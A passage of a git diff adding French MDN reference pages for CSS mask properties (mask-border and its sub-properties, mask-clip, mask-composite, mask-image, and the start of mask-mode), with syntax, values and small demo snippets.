+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#propdef-mask-border-repeat", "mask-border-repeat")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>TBD</p>
diff --git a/files/fr/web/css/mask-border-slice/index.html b/files/fr/web/css/mask-border-slice/index.html
new file mode 100644
index 0000000000..a3020b76fd
--- /dev/null
+++ b/files/fr/web/css/mask-border-slice/index.html
@@ -0,0 +1,107 @@
+---
+title: mask-border-slice
+slug: Web/CSS/mask-border-slice
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-border-slice
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété CSS <strong><code>mask-border-slice</code></strong> permet de découper l'image source, fournie par {{cssxref("mask-border-source")}}, en différentes régions. Ces régions sont utilisées pour former les composants du <a href="/fr/docs/Web/CSS/mask-border">masque de la bordure</a>.</p>
+
+<p>Cette découpe permet d'obtenir neuf régions au total : quatre pour les coins, quatre pour les côtés et une région pour le centre. Cette découpe est effectuée selon 4 lignes qui sont écartées d'une certaine distance des bords de l'image.</p>
+
+<p><a href="/files/3814/border-image-slice.png"><img alt="The nine regions defined by the border-image or border-image-slice properties" src="/files/3814/border-image-slice.png" style="margin: 1px; padding: 1em; width: 460px;"></a></p>
+
+<p>Le diagramme ci-avant illustre l'emplacement de chaque région.</p>
+
+<ul>
+ <li>Les zones de 1 à 4 sont <a id="corner-regions" name="corner-regions">les zones aux coins</a>. Chacune sera utilisée une seule fois pour construire les coins de l'image du masque.</li>
+ <li>Les zones 5 à 8 sont <a id="edge-regions" name="edge-regions">les zones de côtés</a>. Ces zones peuvent être <a href="/fr/docs/Web/CSS/mask-border-repeat">répétées, redimensionnées, ou modifiées</a> afin que le masque de bordule final aient les mêmes dimensions que l'élément.</li>
+ <li>La zone 9 est  <a id="middle-region" name="middle-region">la zone centrale</a>. Par défaut, elle n'est pas utilisée mais elle pourra être utilisée comme image d'arrière-plan si le mot-clé <code>fill</code> est utilisé.</li>
+</ul>
+
+<p>Les propriétés {{cssxref("mask-border-repeat")}}, {{cssxref("mask-border-width")}} et  {{cssxref("mask-border-outset")}} déterminent la façon dont ces régions sont utilisées pour construire le masque final.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Une valeur pour tous les côtés */
+mask-border-slice: 30%;
+
+/* vertical | horizontal */
+mask-border-slice: 10% 30%;
+
+/* haut | horizontal | bas */
+mask-border-slice: 30 30% 45;
+
+/* haut | droit | bas | gauche */
+mask-border-slice: 7 12 14 5;
+
+/* Utilisation du mot-clé `fill` */
+mask-border-slice: 10% fill 7 12;
+
+/* Valeurs globales */
+mask-border-slice: inherit;
+mask-border-slice: initial;
+mask-border-slice: unset;
+</pre>
+
+<p>La propriété <code>mask-border-slice</code> peut être définie avec une, deux, trois ou quatre valeurs <code>&lt;number-percentage&gt;</code> qui représentent la distance entre le trait de coupe et le bord de l'image. Les valeurs négatives sont invalides et les valeurs supérieures à la dimension de l'image sur cet axe sont ramenées à <code>100%</code>.</p>
+
+<ul>
+ <li>Lorsqu'une seule valeur est utilisée, les quatre traits de découpe se situent à la même distance de leurs côtés respectifs.</li>
+ <li>Lorsque deux valeurs sont utilisées, la première valeur indique la distance des traits de coupe pour le côté haut et bas et la deuxième indique la distance des traits de coupe pour le côté droit et gauche.</li>
+ <li>Lorsque trois positions sont utilisées, la première indique la distance pour le trait de coupe du côté haut, la deuxième indique la distance pour les traits de coupe des côtés droit et gauche et la troisième valeur indique la distance pour le trait de coupe par rapport au côté bas.</li>
+ <li>Si 4 valeurs sont employées, elles indiquent respectivement les distances des traits de coupe par rapport aux côtés haut, droit, bas et gauche (c'est-à-dire dans l'ordre des aiguilles d'une montre).</li>
+</ul>
+
+<p>La valeur optionnelle <code>fill</code> peut être utilisée et placée à n'importe quel endroit de la déclaration.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;number&gt;")}}</dt>
+ <dd>Une valeur numérique représentant le décalage entre le trait de coupe et le bord de l'image. La valeur est exprimée en nombre de pixels pour les images matricielles (<em>bitmap</em>/<em>raster</em>) et en coordonnées pour les images vectorielles. Pour les images vecorielles, le nombre utilisé est relatif à la taille de l'élément et pas à la taille de l'image source. Dans ce dernier cas, il peut être préférable d'utiliser des valeurs en pourcentage.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Le décalage entre le trait de découpe et le bord de l'image, exprimé relativement à la taille de l'image source (pour les traits horizontaux, la distance est proportionnelle à la hauteur et pour les traits verticaux, la distance est proportionnelle à la largeur).</dd>
+ <dt><code>fill</code></dt>
+ <dd>La zone centrale est conservée ; sa largeur et sa hauteur correspondent aux dimensions utilisées pour les régions haute et gauche.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#propdef-mask-border-slice", "mask-border-slice")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>TBD</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Propriétés_raccourcies#Quelques_cas_aux_limites_épineux">Description illustrée de la syntaxe pouvant couvrir de 1 à 4 valeurs</a></li>
+</ul>
diff --git a/files/fr/web/css/mask-border-source/index.html b/files/fr/web/css/mask-border-source/index.html
new file mode 100644
index 0000000000..2b6ffcd553
--- /dev/null
+++ b/files/fr/web/css/mask-border-source/index.html
@@ -0,0 +1,72 @@
+---
+title: mask-border-source
+slug: Web/CSS/mask-border-source
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-border-source
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété CSS <strong><code>mask-border-source</code></strong> définit l'image à utiliser pour créer <a href="/fr/docs/Web/CSS/mask-border">le masque de bordure</a> d'un élément.</p>
+
+<p>C'est la propriété {{cssxref("mask-border-slice")}} qui est utilisée afin de découper l'image en tranches/régions ensuite appliquées dynamiquement pour créer le masque final.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+mask-border-source: none;
+
+/* Valeurs de type &lt;image&gt; */
+mask-border-source: url(image.jpg);
+mask-border-source: linear-gradient(to top, red, yellow);
+
+/* Valeurs globales */
+mask-border-source: inherit;
+mask-border-source: initial;
+mask-border-source: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Aucun masque de bordure n'est utilisé.</dd>
+ <dt>{{cssxref("&lt;image&gt;")}}</dt>
+ <dd>Une référence vers une image qu'on utilise pour le masque de la bordure.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir la page {{cssxref("mask-border")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#propdef-mask-border-source", "mask-border-source")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>TBD</p>
diff --git a/files/fr/web/css/mask-border-width/index.html b/files/fr/web/css/mask-border-width/index.html
new file mode 100644
index 0000000000..e10891a78b
--- /dev/null
+++ b/files/fr/web/css/mask-border-width/index.html
@@ -0,0 +1,94 @@
+---
+title: mask-border-width
+slug: Web/CSS/mask-border-width
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-border-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété CSS <strong><code>mask-border-width</code></strong> définit la largeur <a href="/fr/docs/Web/CSS/mask-border">du masque de bordure</a> d'un élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+mask-border-width: auto;
+
+/* Valeur de longueur */
+/* Type &lt;length&gt; */
+mask-border-width: 1rem;
+
+/* Valeur proportionnelle */
+/* Type &lt;percentage&gt; */
+mask-border-width: 25%;
+
+/* Valeur numérique */
+/* Type &lt;number&gt; */
+mask-border-width: 3;
+
+/* vertical | horizontal */
+mask-border-width: 2em 3em;
+
+/* haut | horizontal | bas */
+mask-border-width: 5% 15% 10%;
+
+/* haut | droit | bas | gauche */
+mask-border-width: 5% 2em 10% auto;
+
+/* Valeurs globales */
+mask-border-width: inherit;
+mask-border-width: initial;
+mask-border-width: unset;
+</pre>
+
+<p>La propriété <code>mask-border-width</code> peut être définie avec une, deux, trois ou quatre valeurs parmi celles de la liste ci-après.</p>
+
+<ul>
+ <li>Lorsqu'une seule valeur est indiquée, elle est utilisée comme largeur pour les quatre côtés.</li>
+ <li>Lorsque deux valeurs sont fournies, la première indique la largeur pour les côtés bas et haut et la deuxième la largeur pour les côtés gauche et droite.</li>
+ <li>Lorsque trois valeurs sont fournies, la première est appliquée au côté haut, la deuxième au côté gauche et droit et la troisième au côté bas.</li>
+ <li>Lorsque quatre valeurs sont fournies, elles s'appliquent respectivement aux côtés haut, droit, bas et gauche (c'est-à-dire dans l'ordre des aiguilles d'une montre).</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>La largeur du masque de bordure, indiquée avec une valeur de type {{cssxref("&lt;length&gt;")}} ou {{cssxref("&lt;percentage&gt;")}}. Les pourcentages sont relatifs à la largeur de la zone de bordure pour les décalages horizontaux et à la hauteur de la zone de bordure pour les décalages verticaux. Cette valeur ne peut pas être négative.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>La largeur du masque de bordure comme multiple de la largeur {{cssxref("border-width")}}. Cette valeur ne peut pas être négative.</dd>
+ <dt><code>auto</code></dt>
+ <dd>La largeur du masque de bordure est égale à la largeur ou à la hauteur intrinsèque de la valeur {{cssxref("mask-border-slice")}} correspondante. Si l'image ne possède pas de dimension intrinsèque, c'est la valeur <code>border-width</code> qui est utilisée à la place.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#propdef-mask-border-width", "mask-border-width")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition intiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>TBD</p>
diff --git a/files/fr/web/css/mask-border/index.html b/files/fr/web/css/mask-border/index.html
new file mode 100644
index 0000000000..4695440d10
--- /dev/null
+++ b/files/fr/web/css/mask-border/index.html
@@ -0,0 +1,114 @@
+---
+title: mask-border
+slug: Web/CSS/mask-border
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/mask-border
+---
+<div>{{cssref}}{{SeeCompatTable}}</div>
+
+<p>La propriété CSS <strong><code>mask-border</code></strong> permet de créer un masque le long de la bordure d'un élément.</p>
+
+<p>Cette propriété est une propriété <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">raccourcie</a> pour les propriétés {{cssxref("mask-border-source")}}, {{cssxref("mask-border-slice")}}, {{cssxref("mask-border-width")}}, {{cssxref("mask-border-outset")}}, {{cssxref("mask-border-repeat")}} et {{cssxref("mask-border-mode")}}. Comme pour l'ensemble des propriétés raccourcies, toutes les propriétés qui ne sont pas explicitement utilisées dans la règle utilisent leur <a href="/fr/docs/Web/CSS/Valeur_initiale">valeur initiale</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* source | slice */
+mask-border: url('border-mask.png') 25;
+
+/* source | slice | repeat */
+mask-border: url('border-mask.png') 25 space;
+
+/* source | slice | width */
+mask-border: url('border-mask.png') 25 / 35px;
+
+/* source | slice | width | outset | repeat | mode */
+mask-border: url('border-mask.png') 25 / 35px / 12px space alpha;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'mask-border-source'&gt;</code></dt>
+ <dd>L'image source, pour plus d'informations, voir {{cssxref("mask-border-source")}}.</dd>
+ <dt><code>&lt;'mask-border-slice'&gt;</code></dt>
+ <dd>Les dimensions qui permettent de découper l'image source en différentes régions. Il est possible d'utiliser jusqu'à 4 valeurs. Voir {{cssxref("mask-border-slice")}}.</dd>
+ <dt><code>&lt;'mask-border-width'&gt;</code></dt>
+ <dd>La largeur du masque pour la bordure. Il est possible d'utiliser jusqu'à 4 valeurs. Voir {{cssxref("mask-border-width")}}.</dd>
+ <dt><code>&lt;'mask-border-outset'&gt;</code></dt>
+ <dd>La distance entre le masque de la bordure et le bord extérieur de l'image. Il est possible d'utiliser jusqu'à 4 valeurs. Voir {{cssxref("mask-border-outset")}}.</dd>
+ <dt><code>&lt;'mask-border-repeat'&gt;</code></dt>
+ <dd>Cette valeur indiique la façon dont les régions du bord de l'image source sont ajustées afin de correspondre aux dimensions du masque. Il est possible d'utiliser jusqu'à deux valeurs. Voir {{cssxref("mask-border-repeat")}}.</dd>
+ <dt><code>&lt;'mask-border-mode'&gt;</code></dt>
+ <dd>Cette valeur définit si l'image source est traitée comme un masque de luminance ou comme un masque alpha. Voir {{cssxref("mask-border-mode")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Image_matricielle_(bitmap)">Image matricielle (<em>bitmap</em>)</h3>
+
+<p>Dans cet exemple, on utilise un masque en losange. L'image source utilisée est un fichier PNG de 90 pixels de long et de large :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15836/mask-border-diamonds.png" style="height: 90px; width: 90px;"></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div id="bitmap"&gt;
+  Cet élément est entouré d'un masque de bordure
+  matriciel. C'est pas mal.
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>Pour avoir un seul losange, on divise le carré en 3 (avec la valeur <code>30</code>). On utilise la valeur <code>round</code> pour que le masque soit réparti également de part et d'autre.</p>
+
+<pre class="brush: css">div {
+  width: 200px;
+  background-color: lavender;
+  border: 18px solid salmon;
+  padding: 10px;
+
+  mask-border:
+    url("https://mdn.mozillademos.org/files/15836/mask-border-diamonds.png")  /* source */
+    30 /         /* slice */
+    36px 18px    /* width */
+    round;       /* repeat */
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Image_matricielle_(bitmap)")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentairezs</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#propdef-mask-border", "mask-border")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateursEdit">Compatibilité des navigateurs<a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Web/CSS/border-image$edit#Browser_compatibility" rel="nofollow, noindex"><span>Edit</span></a></h2>
+
+<p><span>TBD</span></p>
diff --git a/files/fr/web/css/mask-clip/index.html b/files/fr/web/css/mask-clip/index.html
new file mode 100644
index 0000000000..33e7499059
--- /dev/null
+++ b/files/fr/web/css/mask-clip/index.html
@@ -0,0 +1,130 @@
+---
+title: mask-clip
+slug: Web/CSS/mask-clip
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-clip
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>mask-clip</code></strong> définit la zone qui est modifiée par un masque. Le contenu « peint » sera restreint à cette zone.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de type &lt;geometry-box&gt; */
+mask-clip: content-box;
+mask-clip: padding-box;
+mask-clip: border-box;
+mask-clip: margin-box;
+mask-clip: fill-box;
+mask-clip: stroke-box;
+mask-clip: view-box;
+
+/* Valeurs avec un mot-clé */
+mask-clip: no-clip;
+
+/* Valeurs multiples */
+mask-clip: padding-box, no-clip;
+mask-clip: view-box, fill-box, border-box;
+
+/* Mots-clés non-standards */
+-webkit-mask-clip: border;
+-webkit-mask-clip: padding;
+-webkit-mask-clip: content;
+-webkit-mask-clip: text;
+
+/* Valeurs globales */
+mask-clip: inherit;
+mask-clip: initial;
+mask-clip: unset;
+</pre>
+
+<h2 id="Syntaxe_2">Syntaxe</h2>
+
+<p>Un ou plusieurs mots-clés parmi ceux listés ci-après, chacun séparé par une virgule.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>content-box</code></dt>
+ <dd>La partie qui est « peinte » est rognée sur la boîte de contenu.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>La partie qui est « peinte » est rognée sur la boîte de <em>padding</em>.</dd>
+ <dt><code>border-box</code></dt>
+ <dd>La partie qui est « peinte » est rognée sur la boîte de bordure.</dd>
+ <dt><code>margin-box</code></dt>
+ <dd>La partie qui est « peinte » est rognée sur la boîte de marge.</dd>
+ <dt><code>fill-box</code></dt>
+ <dd>La partie qui est « peinte » est rognée sur la boîte contenant l'objet.</dd>
+ <dt><code>stroke-box</code></dt>
+ <dd>La partie qui est « peinte » est rognée sur la boîte contenant le contour.</dd>
+ <dt><code>view-box</code></dt>
+ <dd>C'est le <em>viewport</em> du plus proche SVG qui est utilisé comme boîte de référence. Si l'attribut <code><a href="/fr/docs/Web/SVG/Attribute/viewBox">viewBox</a></code> est défini pour l'élément qui crée le <em>viewport</em>, la boîte de référence est positionnée à l'origine du système de coordonnées défini par l'attribut <code>viewBox</code> et les dimensions de la boîtes sont basées sur la hauteur et la largeur de l'attribut <code>viewBox</code>.</dd>
+ <dt><code>no-clip</code></dt>
+ <dd>La partie qui est « peinte » n'est pas rognée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[10]">#masked {
+  width: 100px;
+  height: 100px;
+  background-color: #8cffa0;
+  margin: 20px;
+  border: 20px solid #8ca0ff;
+  padding: 20px;
+  -webkit-mask-image: url(https://mdn.mozillademos.org/files/12668/MDN.svg);
+  mask-image: url(https://mdn.mozillademos.org/files/12668/MDN.svg);
+  -webkit-mask-size: 100% 100%;
+  mask-size: 100% 100%;
+  -webkit-mask-clip: border;
+  mask-clip: border-box;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="masked"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "220px", "250px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask-clip", "mask-clip")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mask-clip")}}</p>
diff --git a/files/fr/web/css/mask-composite/index.html b/files/fr/web/css/mask-composite/index.html
new file mode 100644
index 0000000000..1b4d2be85f
--- /dev/null
+++ b/files/fr/web/css/mask-composite/index.html
@@ -0,0 +1,117 @@
+---
+title: mask-composite
+slug: Web/CSS/mask-composite
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-composite
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>mask-composite</code></strong> permet d'effectuer une opération de composition entre le masque situé sur la couche de l'élément et le masque présent en dessous.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé*/
+mask-composite: add;
+mask-composite: subtract;
+mask-composite: intersect;
+mask-composite: exclude;
+
+/* Valeurs globales */
+mask-composite: inherit;
+mask-composite: initial;
+mask-composite: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Un ou plusieurs mots-clés parmi ceux listés ci-après, chacun séparé par une virgule.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La couche du masque de l'élément est appelée <em>source</em> et les couches inférieures sont appelées <em>destination</em>.</p>
+
+<dl>
+ <dt><code>add</code></dt>
+ <dd>La source est placée sur la destination.</dd>
+ <dt><code>subtract</code></dt>
+ <dd>La source est placée lorsque la destination est vide à cet endroit.</dd>
+ <dt><code>intersect</code></dt>
+ <dd>Les endroits de la source qui chevauchent la destination prennent le pas sur la destination.</dd>
+ <dt><code>exclude</code></dt>
+ <dd>Les régions de la source et de la destination qui ne se chevauchent pas sont combinées.The non-overlapping regions of source and destination are combined.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[7]">#masked {
+  width: 100px;
+  height: 100px;
+  background-color: #8cffa0;
+  -webkit-mask-image: url(https://mdn.mozillademos.org/files/12668/MDN.svg),
+                      url(https://mdn.mozillademos.org/files/12676/star.svg);
+  mask-image: url(https://mdn.mozillademos.org/files/12668/MDN.svg),
+              url(https://mdn.mozillademos.org/files/12676/star.svg);
+  mask-size: 100% 100%;
+  -webkit-mask-composite: add;
+  mask-composite: add; /* peut-être modifiée dans la démo */
+}
+</pre>
+
+<div class="hidden">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="masked"&gt;
+&lt;/div&gt;
+&lt;select id="compositeMode"&gt;
+  &lt;option value="add"&gt;add&lt;/option&gt;
+  &lt;option value="subtract"&gt;subtract&lt;/option&gt;
+  &lt;option value="intersect"&gt;intersect&lt;/option&gt;
+  &lt;option value="exclude"&gt;exclude&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var clipBox = document.getElementById("compositeMode");
+clipBox.addEventListener("change", function (evt) {
+  document.getElementById("masked").style.maskClip = evt.target.value;
+});
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("Exemples", "200px", "200px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask-composite", "mask-composite")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mask-composite")}}</p>
diff --git a/files/fr/web/css/mask-image/index.html b/files/fr/web/css/mask-image/index.html
new file mode 100644
index 0000000000..2a74bb21dc
--- /dev/null
+++ b/files/fr/web/css/mask-image/index.html
@@ -0,0 +1,96 @@
+---
+title: mask-image
+slug: Web/CSS/mask-image
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-image
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>mask-image</code></strong> définit l'image qui sera utilisée comme masque pour un élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+mask-image: none;
+
+/* Valeur de type &lt;mask-source&gt; */
+mask-image: url(masks.svg#mask1);
+
+/* Valeurs de type &lt;image&gt; */
+mask-image: linear-gradient(rgba(0, 0, 0, 1.0), transparent);
+mask-image: image(url(mask.png), skyblue);
+
+/* Gestion de plusieurs masques */
+mask-image: image(url(mask.png), skyblue, linear-gradient(rgba(0, 0, 0, 1.0), transparent);
+
+/* Valeurs globales */
+mask-image: inherit;
+mask-image: initial;
+mask-image: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Le masque défini par ce mot-clé sera une image noire transparente.</dd>
+ <dt><code>&lt;mask-source&gt;</code></dt>
+ <dd>Une référence {{cssxref("&lt;url&gt;")}} vers un masque ({{SVGElement("mask")}}) ou une image CSS.</dd>
+ <dt>{{cssxref("&lt;image&gt;")}}</dt>
+ <dd>Une image utilisée pour le masque.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css;">#masked {
+  width: 100px;
+  height: 100px;
+  background-color: #8cffa0;
+  -webkit-mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg);
+  mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg);
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="masked"&gt;&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Exemples", "100px", "100px",'', '', 'hide-codepen-jsfiddle') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask-image", "mask-image")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mask-image")}}</p>
diff --git a/files/fr/web/css/mask-mode/index.html b/files/fr/web/css/mask-mode/index.html
new file mode 100644
index 0000000000..1f1f49c77b
--- /dev/null
+++ b/files/fr/web/css/mask-mode/index.html
@@ -0,0 +1,131 @@
+---
+title: mask-mode
+slug: Web/CSS/mask-mode
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-mode
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
